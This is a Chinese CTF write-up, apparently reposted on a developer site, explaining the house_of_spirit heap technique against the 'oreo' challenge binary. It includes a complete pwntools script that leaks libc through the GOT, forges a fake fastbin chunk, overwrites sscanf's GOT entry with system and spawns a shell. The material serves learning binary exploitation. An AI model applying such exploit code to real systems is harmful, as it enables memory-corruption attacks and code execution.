内容简介:最近在学习堆相关利用方式,由于对堆的相关机制不清楚,导致进展很慢。这里贴出相关教程1.add()
最近在学习堆相关利用方式,由于对堆的相关机制不清楚,导致进展很慢。
关于house_of_spirit
这里贴出相关教程 https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_spirit.c , 其思想就是通过free一块不可控内存,在进行一次malloc,使其可控。
Oreo
1.add()
在add函数里面,我们可以找到这样一个结构体
size : 0x38
struct rifle {
char des[0x19]
char name[0x1b]
char *preAddr
}
读入name时,可以读入56个字节,可以溢出覆盖pre_addr指针,并且,每增加一个refle,dword_804a288都会加1。
2.show()
这个函数通过结构体最后的 pre_addr 遍历所有的chunk,并将其打印出来。
3.order() 该函数会将根据结构体的pre_addr free所有chunk 4.leave 。。。。。
向保存在0x0804a2a8处得指针,读取128字节的数据,该地址在函数的一开始便赋了初始值
在0x0804a2c0地址处
5 非关键函数,不做分析
通过2 show()函数,可以通过写入name,覆盖pre_addr指针,指向got表中任意函数地址-25处,从而得到libc基地址
#leak libc
sscanf_got=elf.got['__isoc99_sscanf']
name_payload1 = "aaa" + "bbbb"*6 + p32(sscanf_got-25)
add(name_payload1, "hhh")
show()
p.recvuntil('=\nName: ')
p.recvuntil('=\nName: ')
sscanf=u32(p.recv(4))
log.info('sscanf address ===> '+hex(sscanf))
system=sscanf-libc.symbols['__isoc99_sscanf']+libc.symbols['system']
因为got表是可写的,想要实现往got表写数据,就必须控制0x0804a2a8地址处的指针,想要控制这个指针,就需要分配一个chunk到这个地方,因为0x0804a2a4这个地方地方的值会随着refle的增加而增加,因此,我们可以通过申请0x41个chunk的方式(为什么不增加其他个数的refle:这个地址我们把它当作fake chunk的size,按照house_of_spirit的思想,我们还得malloc这个chunk,每次malloc都是固定的0xx38,所以size为0x41),我们还需要将一个chunk的pre_addr修改为0x0804a2a8,这样,这个区域就可控了,就可以改写这段内存。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
p=process('./oreo',stdin=PTY)
elf=ELF('./oreo')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
context.log_level='debug'
def add(name,des):
p.readuntil("Action:")
p.sendline("1")
p.readuntil("name:")
p.sendline(name)
p.readuntil("description:")
p.sendline(des)
def show():
p.recv()
p.sendline('2')
def order():
p.recv()
p.sendline('3')
def leave(message):
p.readuntil("Action:")
p.sendline("4")
p.readuntil("order: ")
p.sendline(message)
#leak libc
sscanf_got=elf.got['__isoc99_sscanf']
name_payload1 = "aaa" + "bbbb"*6 + p32(sscanf_got-25)
add(name_payload1, "hhh")
show()
p.recvuntil('=\nName: ')
p.recvuntil('=\nName: ')
sscanf=u32(p.recv(4))
log.info('sscanf address ===> '+hex(sscanf))
system=sscanf-libc.symbols['__isoc99_sscanf']+libc.symbols['system']
#fake chunk
for i in xrange(0x40-1):
add('aaaa','aaaa')
payload = 'a'*0x1b+p32(0x0804a2a8)
add(payload,'aaaa')
message_payload = "\x00"*36 + p32(0x41)
leave(message_payload)
order()
add('name',p32(sscanf_got))
leave(p32(system))
p.recv()
p.sendline('/bin/sh\0')
p.interactive()
一开始我并没有写下面这一段
message_payload = "\x00"*36 + p32(0x41) leave(message_payload)
出现了报错如下
"Action: *** Error in `./oreo': free(): invalid next size (fast): 0x0804a2a8 ***\n"
然后在glibc中找到了这一段报错的代码
if (have_lock || ({
assert(locked == 0);
__libc_lock_lock(av->mutex);
locked = 1;
chunksize_nomask(chunk_at_offset(p, size)) <= 2 * SIZE_SZ ||
chunksize(chunk_at_offset(p, size)) >= av->system_mem;
})) {
errstr = "free(): invalid next size (fast)";
goto errout;
}
在进行free chunk的时候一般会检查next chunk的size,下一个chunk的大小不能小于两倍的SIZE_SZ,并且下一个chunk的大小不能大于system_mem, 一般为132k,否则出现这样的情况,就报错。(这只是检查之一,以后我们整理一下分配回收机制的各种检查)如果没有上面那一段脚本对fake next chunk size做调整,就会报错
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 一文读懂监督学习、无监督学习、半监督学习、强化学习这四种深度学习方式
- 学习:人工智能-机器学习-深度学习概念的区别
- 统计学习,机器学习与深度学习概念的关联与区别
- 混合学习环境下基于学习行为数据的学习预警系统设计与实现
- 学习如何学习
- 深度学习的学习历程
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Markdown 在线编辑器
Markdown 在线编辑器
HSV CMYK 转换工具
HSV CMYK互换工具